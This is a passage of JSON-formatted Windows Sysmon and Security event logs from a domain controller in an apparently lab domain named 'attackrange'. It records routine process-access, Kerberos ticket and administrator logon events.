6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4363,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.021\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.021","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4364,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.021\r\nSourceProcessGUID: {90617006-413A-5F2D-0000-0010D50A0600}\r\nSourceProcessId: 3148\r\nSourceThreadId: 2512\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413B-5F2D-0000-00102D270600}\r\nTargetProcessId: 884\r\nTargetImage: C:\\Windows\\system32\\chcp.com\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.021","SourceProcessGUID":"{90617006-413A-5F2D-0000-0010D50A0600}","SourceProcessId":"3148","SourceThreadId":"2512","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413B-5F2D-0000-00102D270600}","TargetProcessId":"884","TargetImage":"C:\\Windows\\system32\\chcp.com","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4365,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.021\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.021","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221866,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221867,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{AA8B77B7-7DBB-5A9E-C022-2AEC171E18BC}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{AA8B77B7-7DBB-5A9E-C022-2AEC171E18BC}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221868,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{AA8B77B7-7DBB-5A9E-C022-2AEC171E18BC}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{AA8B77B7-7DBB-5A9E-C022-2AEC171E18BC}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221869,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x627DB\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{AA8B77B7-7DBB-5A9E-C022-2AEC171E18BC}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x627db","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{AA8B77B7-7DBB-5A9E-C022-2AEC171E18BC}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221870,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x627DB\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x627db","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4366,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.021\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.021","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4367,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.021\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.021","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTE